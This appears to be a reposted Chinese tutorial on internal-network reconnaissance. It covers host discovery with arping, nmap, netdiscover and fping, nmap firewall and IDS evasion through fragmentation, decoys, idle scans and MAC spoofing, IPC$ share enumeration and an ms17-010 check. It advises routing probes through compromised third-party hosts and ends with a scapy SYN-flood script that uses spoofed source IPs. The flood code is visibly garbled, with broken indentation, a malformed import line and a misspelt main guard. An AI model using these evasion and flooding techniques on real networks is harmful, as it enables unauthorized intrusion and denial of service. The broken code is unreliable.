2.内网信息收集

2021/12/22 23:21:40

本文主要是介绍2.内网信息收集,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

0x01.主动信息收集

指通过一定的方式(系统自带命令或者其他工具),直接与目标系统或者主机进行交互通信,以达到收集信息的目的。

主动信息收集的必要条件

  • 使用受控的第三方电脑进行探测
  • 使用代理或者已经被控制的主机
  • 做好被封杀的准备
  • 使用噪声迷惑目标,掩藏真实的的探测流量扫描
  • 发送不同的探测,根据返回结果判断目标状态

主动信息收集的发现过程

识别存活的目标系统或者主机(潜在的攻击目标)。

根据osi的分层,主要在2(数据链路层)/3((网络层)/4(传输层)层进行主机发现。

输出发现结果。

1. 主动信息收集-information

主动信息收集所需信息

  • 开放端口
  • 开放服务
  • 服务版本
  • 用户名
  • 域名
  • 网站系统
  • 历史信息
  • 身份信息。等等

2. 主动信息收集–代理隐蔽

在主动信息过程中,可能会存在一定被IPS/IDS检测到,我们可以使用proxychains这款工具来达到代理的效果
或在Windows中使用Proxifier。

下面我来介绍一下,这两款软件的使用

Proxifier
打开-->配置文件-->代理服务器-->设置socks5代理参数-->添加
然后我们系统就会走这个代理传输了

proxychains

vim /etc/proxychains4.conf
socks5 按一下tab键 ip tab 端口
proxychains 需要代理的一个程序 (默认root权限不行,可以解封root)

0x02. 主机发现

1. arping

在二层发现中,我们可以arping命令来进行发现主机.

Windows使用命令arp /a即可看到局域网IP , arp /a 用于查看高速缓存中的所有项目

image-20210627093700109

在linux中是arping 192.168.181.128 -c 1 C参数是发送次数

实际上是通过2层去ping主机 , 看他存不存活

image-20210627094528353

arping目标IP -w 等待时间

补充:
ping命令在windows和linux中都能使用;arping在linux中使用,windowws中不能使用。
主要介绍如下:
1.ping发送ICMP请求包,用来测试主机与目标主机之间的连通性。如果未连通:有可能是物理上的问题,有可能是软件上的(防火墙开启等)问题。
2.arping发送ARP请求包,用来测试某个IP是否被主机使用,以及使用主机的物理地址。

2. nmap

nmap -sn目标网段 // 只进行主机发现,不进行端口扫描 sp 是判断主机存活 一般可能禁止ping

nmap -sA目标网段 // 发送tcp的ack包进行探测

3. netdiscover

netdiscover专用的二层发现工具。拥有主动和被动发现两种方式。

netdiscover -i 网卡 -r 目标网段     # 主动扫描网段
netdiscover -l 文件路径                # 扫描文件IP
netdiscover -p                             # 被动扫描

4. traceroute

用于显示数据包在lP网络中经过的路由器的IP地址。

命令帮助: traceroute --help

常用命令: traceroute 目标域名

image-20210627095347911

5. fping

Fping程序类似于ping (ping是通过ICMP(网络控制信息协议InternetControl MessageProtocol)协议回复请求以检测主机是否存在)。Fping与ping不同的地方在于,fping可以在命令行中指定要ping的主机数量范围,也可以指定含有要ping的主机列表文件。

fping -aqg //目前最准确的一款工具

image-20210627095658003

6. arp-scan

是一款kali自带的一款轻量ARP扫描工具,该工具会自动解析MAC地址,得到对应硬件厂商

arp-scan -l
扫描当前网段

0x03. Nmap信息收集

1. NMAP工具介绍

Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一。最新版的Nmap6.0在2012年5月21日发布,

详情请参见: www.nmap.org。

一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。

2. NMAP工具

在主动信息过程中,可能会存在一定被IPS/IDS检测到,我们可以使用proxychains这款工具来达到代理的效果

或在Windows中使用Proxifier。

下面我来介绍一下,这两款软件的使用

3. NMAP基本扫类型

  • -sT:使用TCP进行扫描
  • -sS:半开放扫描(非3次握手的tcp扫描)
  • -sU: udp端口的扫描
  • -sF:也是tcp的扫描一种,发送一个FIN标志的数据包
  • -sV:版本检测(sV)
  • 有些程序比如synlogger和courtney能够检测那些扫描
  • 使用-sF、-sX、-sN可以逃过这些干扰。

4. NMAP特点扫描

  • -O可以实现模糊测试对方系统版本PING大于67则Windows
  • -A全面检测
  • -sV探测目标系统服务版本
  • -T4设置线程
  • nmap -p 80 --script=http-enum.nse 可带nse脚本来扫描

5. NMAP绕过防火墙扫描

  • nmap --script=firewalk --traceroute目标

  • nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges'

    www.fujieace.com 防火墙绕过

  • 碎片扫描 nmap -f 主机、nmap -mtu 8

  • 诱饵扫描 nmap -D RND:10主机

  • 空闲扫描 nmap -P0 -sl zombie

  • 随机数据长度扫描 nmap --data-length 25

  • 欺骗性扫描 nmap --sT -PN --spoof-mac aa:bb:cc:dd:ee:ff、nmap --badsum主机、nmap -g 80 -s www.baidu.com主机、nmap -p80 --script http-methods --script-args
    http.useragent="Mozilla 5"。

6. IPC共享

IPCS (Internet Process Connection)是共享“命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$......)和系统目录(C:/windows)共享。所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效 , 一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具进行密码探测。

为了配合IPC共享工作, Windows操作系统(不包括Windows 98系列)在安装完成后,白动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为ADMIN$、C$、D$、E$等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。

7. NMAP检测IPC共享

  • nmap --script=smb-enum-shares.nse -sT 192.168.0.127

8. NMAP检测CVE漏洞

  • nmap --script=smb-vuln-ms17-010.nse -sT 192.168.0.127
  • 检索nmap的漏洞探针有哪些 进入nmap的scripts 然后 ls | grep vuln

0x04. scapy网络信息收集

1. SCAPY介绍

Scapy是一款强大的交互式数据包处理工具、数据包生成器、网络扫描器、网络发现工昊和包嗅探工具。它提供多种类别的交互式生成数据包或数据包集合、对数据包进行操作、发送数据包、包嗅探、应答和反馈匹配等等功能。

Python解释器提供交互功能,所以要用到Python编程知识(例如variables、loops、和functions)。支持生成报告,且报告生成简单。

使用方法如下:

pkt=IP()/TCP()

2. 使用SCAPY创立发送数据包

pkt=IP(src="192.168.0.133",dst="39.156.69.79")/TCP()
		源地址                   目标地址
res=sr1(pkt)       //接收
res.summary()   //查看
sr()                    //接受全部
send()             //只发送

发送两层数据包
srp()
srp1()
sendp()

3. 二层发现-ARP()

a=ARP()
a.pdst=”需要检测的主机”
sr1(a)

4. 三层发现-ICMP()

ip=lP()/ICMP()

ip.dst="192.168.0.127"
sr1(ip)

5. 发送 TCP数据包

ip=IP()
tcp=TCP()
ip.dst="192.168.0.133".
ip.dport=8055

tcp.flags='A'
sr1(ip/tcp)
sr(IP(dst="www.baidu.com")/TCP(dport=[21,80,3389],flags="S"))      //端口扫描

6. synFloopd泛洪攻击

很老的一种ip攻击手段

from scapy.all import*import random
def synFlood():
	for i in range(10000):
	#构造随机的源IP
	src='%i.%i.%i.%i'%(
		random.randint(1,255),
		random.randint(1,255),
		random.randint(1,255),
		random.randint(1,255))
	#构造随机的端口
	sport=random.randint(1024,65535)
	IPlayer=IP(src=src ,dst='192.168.37.13')
	TCPlayer=TCP(sport=sport,dport=80,flags="s")
	packet=IPlayer /TCPlayer
	send(packet)
if ___name__ == '__main__':
	synFlood()


这篇关于2.内网信息收集的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程